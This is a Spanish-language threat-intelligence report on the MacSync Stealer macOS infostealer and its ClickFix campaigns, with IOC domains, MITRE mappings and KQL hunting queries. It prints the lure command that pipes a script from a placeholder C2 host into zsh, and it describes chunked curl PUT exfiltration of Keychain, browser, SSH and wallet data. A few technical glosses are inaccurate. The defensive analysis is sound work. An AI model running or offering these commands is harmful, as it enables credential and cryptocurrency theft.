ClickFix macOS Campaign uso de MacSync Stealer: Análisis de Comportamiento y Caza de Infraestructura Rotativa (2026)
Nombres Alternativos / Aliases
- MacSync Stealer (Nombre principal del malware)
- MacSync Infostealer (Por su función principal)
- SHub Stealer (Variante relacionada)
- ClickFix macOS Campaign (Por la técnica de entrega)
Fecha de Detección / Actividad
- Primera actividad documentada: 2024 - principios de 2026
- Campañas activas: Enero - agosto de 2026
- Fecha del informe de Microsoft: 18 de agosto de 2026
- Dominios identificados por Microsoft: Más de 30
- Dominios identificados por Zscaler: Más de 60
- Estado: Activa (continúa evolucionando)
Actor de Amenaza (Atribución)
| Característica | Detalle |
|---|---|
| Nombre del Actor | Operadores de MacSync MaaS (Malware-as-a-Service) |
| Vínculo Gubernamental | No establecido (ciberdelincuencia) |
| Tipo de Actor | Ciberdelincuencia / Malware-as-a-Service |
| Sofisticación | ALTA. Los operadores demuestran: |
- Infraestructura rotativa con más de 30 dominios
- Uso de API key estática compartida entre dominios
- Múltiples etapas de infección (loader, AppleScript, exfiltración)
- Abuso de plataformas legítimas (Claude Artifacts, GitHub Pages, Medium)
- Capacidad de troyanización de aplicaciones de hardware wallet (Ledger, Trezor) | | Motivación | Financiera (robo de credenciales y criptomonedas) | | Estructura del servicio | MaaS con builders personalizados por build token |
Resumen Ejecutivo
MacSync Stealer es un malware de robo de información para macOS que se distribuye principalmente a través de campañas ClickFix, donde se engaña a los usuarios para que ejecuten comandos maliciosos en Terminal . El malware ha evolucionado desde una simple entrega binaria hasta un complejo sistema de carga en múltiples etapas con infraestructura rotativa.
El enfoque de Microsoft: Detección por comportamiento
Microsoft Defender Experts ha desarrollado un enfoque basado en el comportamiento para detectar MacSync Stealer, que complementa el bloqueo tradicional de dominios . Este método es crucial porque la infraestructura de MacSync rota rápidamente, haciendo que los IoCs de dominio sean efímeros .
La investigación de Microsoft correlacionó puntos finales recurrentes y comportamientos de red para conectar más de 30 dominios a la actividad de MacSync Stealer . Los patrones de comportamiento persistentes incluyen:
| Comportamiento | Detalle |
|---|---|
| Recuperación de carga útil | curl -kfsSL hacia rutas /curl/[token]
|
| Registro C2 | Solicitudes a /dynamic?txd=[token] con User-Agent de macOS y cabecera api-key
|
| Exfiltración fragmentada | curl -X PUT --data-binary a /gate?buildtxd=[token] con parámetros upload_id, chunk_index y total_chunks
|
La cadena de ataque completa
| Fase | Descripción |
|---|---|
| ClickFix | El usuario es engañado para pegar un comando en Terminal |
| Recuperación de payload | curl descarga un script Zsh desde el C2
|
| Decodificación | Base64 y gunzip descifran el payload |
| AppleScript | osascript ejecuta comandos de shell para recolección de datos
|
| Recolección | Keychain, credenciales de navegadores, SSH, AWS, archivos sensibles |
| Almacenamiento temporal | Datos comprimidos en /tmp/osalogging.zip o /tmp/sync*
|
| Exfiltración fragmentada | Upload por HTTP PUT en fragmentos de ~10 MiB |
| Limpieza | Eliminación de artefactos temporales |
Vector de Ataque / Métodos de Distribución
ClickFix: La técnica de entrega principal
MacSync Stealer se distribuye principalmente mediante ClickFix, una técnica de ingeniería social donde el usuario es engañado para ejecutar un comando en Terminal . La cadena típica comienza cuando el usuario visita una página maliciosa (a menudo a través de SEO poisoning) y ve una pantalla CAPTCHA falsa o una instrucción de instalación falsa .
El comando que el usuario pega en Terminal suele tener el siguiente formato:
bash
echo "Installing package please wait..." && curl -kfsSL http://[C2]/curl/[token] | zsh
Este comando:
- Muestra un mensaje tranquilizador ("Installing package please wait...")
- Descarga silenciosamente un script Zsh remoto
- Lo ejecuta directamente en Terminal sin verificación
Plataformas legítimas abusadas
| Plataforma | Uso | Referencia |
|---|---|---|
| Claude Artifacts | Alojamiento de páginas ClickFix | |
| GitHub Pages | Alojamiento de payloads de staging | |
| Medium | Blogs con instrucciones maliciosas | |
| Squarespace | Blogs con instrucciones maliciosas | |
| Google Ads | Publicidad maliciosa para SEO poisoning |
La arquitectura multi-stage de MacSync
MacSync ha evolucionado desde una entrega binaria simple a un modelo Loader-as-a-Service (LaaS) con múltiples etapas :
| Etapa | Función |
|---|---|
| Stage 1 (ClickFix) | El usuario ejecuta el comando inicial en Terminal |
| Stage 2 (Zsh Loader) | Script descargado que se ejecuta en segundo plano, se autentica con API key y token de build |
| Stage 3 (AppleScript) | Payload dinámico que realiza la recolección de datos |
| Stage 4 (Exfiltración) | Compresión y upload fragmentado al C2 |
Técnicas, Tácticas y Procedimientos (TTPs) - MITRE ATT&CK
| Táctica (MITRE ATT&CK) | Técnica / Subtécnica | Descripción / Implementación |
|---|---|---|
| Initial Access (TA0001) | Phishing (T1566) / Drive-by Compromise (T1189) | ClickFix con SEO poisoning y malvertising |
| Execution (TA0002) | Command and Scripting Interpreter: Unix Shell (T1059.004) | Zsh script ejecutado desde Terminal |
| Execution (TA0002) | Command and Scripting Interpreter: AppleScript (T1059.002) | osascript para ejecutar comandos de shell
|
| Persistence (TA0003) | Create or Modify System Process: LaunchAgent (T1543.001) | com.google.keystone.agent.plist en ~/Library/LaunchAgents/
|
| Defense Evasion (TA0005) | Obfuscated Files or Information (T1027) | Base64 y gunzip para ofuscar payloads |
| Defense Evasion (TA0005) | Indicator Removal: File Deletion (T1070.004) | Eliminación de artefactos temporales después de exfiltración |
| Credential Access (TA0006) | Credentials from Password Stores: Keychain (T1555.001) | Extracción de keychain de macOS |
| Credential Access (TA0006) | Credentials from Web Browsers (T1555.003) | Robo de credenciales, cookies y datos de sesión de navegadores |
| Discovery (TA0007) | System Information Discovery (T1082) | Recopilación de información del host |
| Discovery (TA0007) | Process Discovery (T1057) | Enumeración de procesos en ejecución |
| Collection (TA0009) | Data from Local System (T1005) | Recolección de archivos sensibles (PDF, DOCX, TXT, KEY, PEM, KDBX, OVPN, WALLET, SEED) |
| Collection (TA0009) | Archive Collected Data (T1560.001) | Compresión en /tmp/osalogging.zip
|
| Command and Control (TA0011) | Application Layer Protocol: Web Protocols (T1071.001) | Comunicación HTTPS con rutas /curl/, /dynamic?txd=, /gate?buildtxd=
|
| Exfiltration (TA0010) | Exfiltration Over C2 Channel (T1041) | Upload fragmentado con HTTP PUT |
| Exfiltration (TA0010) | Data Transfer Size Limits (T1030) | Fragmentación en chunks de ~10 MiB |
Infraestructura Utilizada
Patrones URI recurrentes
| Patrón URI | Propósito |
|---|---|
/curl/[token]
|
Recuperación de payload inicial |
/dynamic?txd=[token]
|
Registro C2 y comunicación |
/gate?buildtxd=[token]&upload_id=[id]&chunk_index=[n]&total_chunks=[n]
|
Exfiltración fragmentada de datos |
Parámetros de línea de comandos de curl
| Parámetro | Propósito |
|---|---|
-k
|
Bypass de verificación SSL |
-s
|
Modo silencioso |
-fsSL
|
Falla en error, silencioso, sigue redirecciones, modo verbose |
--max-time 30
|
Timeout de 30 segundos |
-X PUT --data-binary
|
Método HTTP PUT para exfiltración de datos binarios |
-H "api-key: [key]"
|
Autenticación API |
-H "User-Agent: Mozilla/5.0 (Macintosh"
|
MacOS User-Agent |
-w %{http_code}
|
Captura de código HTTP de respuesta |
Patrón de User-Agent
El malware utiliza un User-Agent de macOS acortado para parecer tráfico legítimo de navegador :
text
Mozilla/5.0 (Macintosh
API key compartida
La investigación de Microsoft y RST Cloud identificó una API key estática compartida en múltiples dominios de C2 de MacSync :
text
5190ef1733183a0dc63fb623357f56d6
Token de build por despliegue
Cada despliegue del malware utiliza un token hexadecimal único que se pasa en las rutas URI (por ejemplo, en /curl/[token] y /dynamic?txd=[token]) . Este token probablemente se genera por compra/despliegue en el modelo MaaS.
Impacto y Riesgo
| Categoría | Nivel | Descripción |
|---|---|---|
| Alcance | ALTO | Usuarios de macOS a nivel global, especialmente desarrolladores y usuarios de criptomonedas |
| Capacidad de evasión | MUY ALTA | ClickFix bypass de Gatekeeper, notarización y Quarantine |
| Infraestructura rotativa | MUY ALTA | >30 dominios, rotación rápida dificulta bloqueo estático |
| Persistencia | ALTA | LaunchAgents para reinfección tras reinicio |
| Impacto financiero | MUY ALTO | Robo de criptomonedas, incluyendo troyanización de Ledger y Trezor |
| Impacto en datos | MUY ALTO | Keychain, credenciales de navegadores, SSH, AWS, archivos sensibles |
Datos objetivo
| Categoría | Datos objetivo | Referencia |
|---|---|---|
| Credenciales del sistema | Keychain de macOS, contraseñas de usuario (mediante prompt falso) | |
| Navegadores | Credenciales, cookies, datos de sesión, IndexedDB, LevelDB, almacenamiento de extensiones de Chrome, Brave, Edge, Opera, Vivaldi, Arc, Chromium | |
| Criptomonedas | Wallets (Ledger, Trezor, MetaMask, Phantom), archivos WALLET y SEED | |
| SSH y nube | Claves SSH, credenciales AWS, configuraciones Kubernetes | |
| Archivos sensibles | PDF, DOCX, TXT, KEY, PEM, KDBX, OVPN, de Downloads, Documents y Desktop | |
| Aplicaciones Apple | Apple Notes, Safari data, iCloud account data | |
| Telegram | Artefactos de Telegram |
Recomendaciones de Mitigación
Para usuarios de macOS
| Acción | Prioridad | Descripción |
|---|---|---|
| No ejecutar comandos de Terminal no solicitados | CRÍTICA | Ningún CAPTCHA legítimo pide ejecutar comandos en Terminal |
| Verificar la fuente | CRÍTICA | Antes de ejecutar cualquier comando, verificar que proviene de una fuente confiable |
| Mantener macOS actualizado | ALTA | Instalar las últimas actualizaciones de seguridad |
| Usar bloqueadores de scripts | MEDIA | Extensiones de navegador como NoScript |
| Activar protección contra malware | ALTA | XProtect de macOS (habilitado por defecto) |
| Monitorear aplicaciones de criptomonedas | ALTA | Verificar la integridad de Ledger, Trezor y otras wallets |
Para organizaciones
| Acción | Descripción | Referencia |
|---|---|---|
| Monitoreo de Terminal | Alertar sobre sesiones de Terminal o shell que recuperen payloads poco después de interacción del usuario | |
| Detección de abuso de herramientas nativas | Marcar secuencias inusuales de curl, Base64, gunzip, osascript, cp, rm, mkdir, killall
|
|
| Detección de exfiltración | Identificar cargas HTTP PUT con --data-binary, api-key, upload_id, chunk_index, total_chunks
|
|
| Monitoreo de archivos temporales | Alertar sobre creación de /tmp/osalogging.zip, /tmp/shub_*, /tmp/sync*
|
|
| Restricción de LaunchAgents | Configurar MDM para prevenir instalación de LaunchAgents no autorizados | |
| Bloqueo de API key | Buscar la API key 5190ef1733183a0dc63fb623357f56d6 en logs y tráfico de red
|
Consultas de caza avanzada (Microsoft KQL)
kql
// Identificar actividad de curl con patrones de MacSync
DeviceNetworkEvents
| where InitiatingProcessFileName =~ "curl"
| where RemoteUrl has_any ("/curl/", "/dynamic?txd=", "/gate?buildtxd=", "upload_id=", "chunk_index=", "total_chunks=")
// Detectar exfiltración fragmentada
DeviceNetworkEvents
| where InitiatingProcessFileName =~ "curl"
| where InitiatingProcessCommandLine has_all ("-X PUT", "--data-binary")
| where RemoteUrl has_any ("upload_id=", "chunk_index=", "total_chunks=", "/gate?buildtxd=")
// Identificar AppleScript lanzando shell
DeviceProcessEvents
| where FileName =~ "osascript"
| where ProcessCommandLine has_any ("sh -c", "cp ", "rm ", "curl ", "mkdir ", "killall", "dscl")
Mitigaciones de plataforma
| Medida | Descripción |
|---|---|
| macOS 26.4+ protecciones | Apple introdujo advertencias que bloquean pegado de comandos maliciosos en Terminal y comprobaciones de XProtect |
| SIP (System Integrity Protection) | Confirmar habilitado en todos los endpoints macOS |
| Microsoft Defender Antivirus | Detecciones: Trojan:MacOS/SuspMalScript, Behavior:MacOS/SuspOsascriptExec, Behavior:MacOS/SuspDownloadFileExec, Behavior:MacOS/SuspiciousActivityGen |
Contexto Más Amplio: MacSync en el Ecosistema de Malware macOS
MacSync es uno de varios infostealers para macOS que han proliferado en 2026, junto con AMOS (Atomic Stealer) y SHub Stealer . El modelo MaaS (Malware-as-a-Service) permite a afiliados de baja sofisticación lanzar campañas efectivas con infraestructura preconfigurada .
Comparativa con ClickFix macOS
| Malware | Vector ClickFix | Persistencia | Objetivo principal | Referencia |
|---|---|---|---|---|
| MacSync Stealer | Sí | LaunchAgent | Credenciales, criptomonedas, keychain | |
| AMOS / Atomic Stealer | Sí | LaunchAgent | Criptomonedas, credenciales | |
| SHub Stealer | Sí | LaunchAgent | Credenciales, archivos |
Opiniones de Expertos
"The number of domains is not the key finding; the durable detection opportunity is the repeated request shape and execution behavior that persists even as domains rotate." — Microsoft Defender Experts
"The same IP has carried the same domain since March 2025 and is still scanning today – at least seventeen months on one address, with no rotation at any point." — Microsoft Defender Experts
"By making the user the vector, the attacker not only bypasses Gatekeeper and notarization, but also circumvents the quarantine flag that triggers security checks on downloaded files." — Microsoft Defender Experts
"MacSync is a stealthy macOS infostealer delivered through a ClickFix-style phishing lure that tricks users into pasting a single Terminal command. Once executed, it harvests passwords, browser data, crypto wallets, and even trojanizes trusted hardware wallet apps like Ledger and Trezor." — CloudSEK
"Si el malware detecta que el usuario está en Rusia o en países de la CEI, detiene su ejecución. Es un kill-switch que sugiere que los operadores son de habla rusa." — Investigadores de Microsoft
Referencias y Fuentes
- Microsoft Defender Experts. (2026, 18 de agosto). Detecting MacSync Stealer infrastructure through behavioral changes. Microsoft Security Blog.
- The Hacker News. (2026, 7 de agosto). ClickFix Attacks Deliver macOS Stealer That Can Drain Crypto Wallets.
- Cloud Security Alliance. (2026, 15 de marzo). MacSync Infostealer: ClickFix Campaigns via Fake AI Installers.
- CloudSEK. (2026, 16 de marzo). Inside MacSync's Script-Driven Stealer and Hardware Wallet App Trojanization.
- SOC Prime. (2026, 11 de mayo). MacSync Stealer Uses Rotating C2 Infrastructure.
- SOC Prime. (2026, 4 de febrero). Infostealers Without Borders: macOS and Python Campaigns.
- CloudSEK. (2026, 24 de marzo). MacSync Stealer: SEO Poisoning and ClickFix-Based macOS Malware Delivery Chain.
- Tech & Business. (2026, 17 de agosto). Microsoft links more than 30 domains to MacSync Stealer activity.
- OffSeq. (2026, 20 de enero). Inside MacSync's Script-Driven Stealer and Hardware Wallet App Trojanization.
- RH-ISAC. (2026, 7 de mayo). ClickFix Campaign Uses Fake macOS Utilities to Deliver Infostealers.
- Zscaler. (2026, 14 de julio). ClaudeFix: Shared Claude Chats Meet ClickFix.
- Threadlinqs. (2026, 5 de mayo). ClickFix macOS Trio: Loader/Script/Helper Campaigns.
- CIS Center for Internet Security. (2026, 1 de junio). MacSync Stealer Campaign Impacting U.S. SLTT macOS Users.
Historial de Revisiones
| Fecha | Versión | Autor | Cambios Realizados |
|---|---|---|---|
| 2026-08-24 | 1.0 | Fernando Vargas Hincapié | Creación inicial basada en análisis de Microsoft Defender Experts, CloudSEK, SOC Prime, Zscaler y otros |
Indicadores de Compromiso (IOCs)
Dominios identificados por Microsoft
| Dominio | Propósito | Referencia |
|---|---|---|
aihealthring[.]com
|
C2 | |
cabinrentalsnc[.]com
|
C2 | |
chatbasedos[.]com
|
C2 | |
commercialroofingsd[.]com
|
C2 | |
dogtrainersgeorgia[.]com
|
C2 | |
fintelliganceai[.]com
|
C2 | |
homeinspectionsdelaware[.]com
|
C2 | |
intopython[.]com
|
C2 | |
lalandscapelighting[.]com
|
C2 | |
lumenagnet[.]com
|
C2 | |
marbellaresales[.]com
|
C2 | |
miamipcsupport[.]com
|
C2 | |
moldinspectiondayton[.]com
|
C2 | |
nailscanai[.]com
|
C2 | |
newjerseypetsitter[.]com
|
C2 | |
numericagent[.]com
|
C2 | |
oaklandwaterdamage[.]com
|
C2 | |
oklahomawarehousing[.]com
|
C2 | |
olympiapetemergency[.]com
|
C2 | |
peaecagent[.]com
|
C2 | |
plasmaticsystems[.]com
|
C2 | |
plethorawallet[.]com
|
C2 | |
premierrentalpurchase[.]com
|
C2 | |
ricewaterbeauty[.]com
|
C2 | |
rvieragent[.]com
|
C2 | |
sandiegotkd[.]com
|
C2 | |
secueragent[.]com
|
C2 | |
shiledagent[.]com
|
C2 | |
syracusefertilitycenter[.]com
|
C2 | |
vastbets[.]com
|
C2 | |
wvaeagent[.]com
|
C2 |
Dominios adicionales (Zscaler)
| Dominio | Referencia |
|---|---|
lasvegaslaminateflooring[.]com
|
|
proviewhomeinspections[.]com
|
|
meadow84[.]com
|
|
pearlanvil14[.]com
|
|
denverplumbingandwaterheater[.]com
|
|
hawaiiwindowtinting[.]com
|
|
swisshomesforsale[.]com
|
|
garagedoorkentucky[.]com
|
|
floridakitchencabinet[.]com
|
|
healthcareqai[.]com
|
|
dubaivehiclemart[.]com
|
|
realtorsmichigan[.]com
|
|
centralfloridapowerwash[.]com
|
|
gatravelagency[.]com
|
API key compartida
| API key | Propósito | Referencia |
|---|---|---|
5190ef1733183a0dc63fb623357f56d6
|
Autenticación C2 (constante en todas las versiones) |
Rutas URI de C2
| Ruta | Propósito | Referencia |
|---|---|---|
/curl/[token]
|
Recuperación de payload inicial | |
/dynamic?txd=[token]
|
Registro C2 | |
/gate?buildtxd=[token]
|
Exfiltración fragmentada |
Hashes de payloads
| Hash | Tipo | Referencia |
|---|---|---|
5190ef1733183a0dc63fb623357f56d6
|
API key (hasheada en logs) |
Patrones de User-Agent
| User-Agent | Propósito | Referencia |
|---|---|---|
Mozilla/5.0 (Macintosh
|
MacOS User-Agent (acortado) |
Archivos temporales
| Ruta | Propósito | Referencia |
|---|---|---|
/tmp/osalogging.zip
|
Archivo comprimido de datos recolectados | |
/tmp/sync*
|
Directorios de staging | |
/tmp/shub_*
|
Directorios de staging (variante SHub) | |
~/Library/LaunchAgents/com.google.keystone.agent.plist
|
Persistencia (suplantación de Google) |
Comportamiento a monitorear
| Categoría | Comportamiento | Referencia |
|---|---|---|
| Procesos | Terminal → curl → zsh o Terminal → curl → bash sin invocación previa de package manager
|
|
| Procesos | osascript lanzando sh, cp, rm, curl, mkdir, killall, dscl
|
|
| Archivos | Creación de /tmp/osalogging.zip, /tmp/shub_*, /tmp/sync*
|
|
| Red | curl con parámetros -k -s --max-time, -X PUT --data-binary, api-key
|
|
| Red | Solicitudes a /curl/, /dynamic?txd=, /gate?buildtxd=
|
|
| Red | Solicitudes con upload_id=, chunk_index=, total_chunks=
|
Etiquetas / Categorías
macsync-stealer clickfix-macos-infostealer rotating-c2-infrastructure malware-as-a-service masos infostealer keychain-browser-credential-theft cryptocurrency-wallet-trojanization apple-script-execution behavioral-detection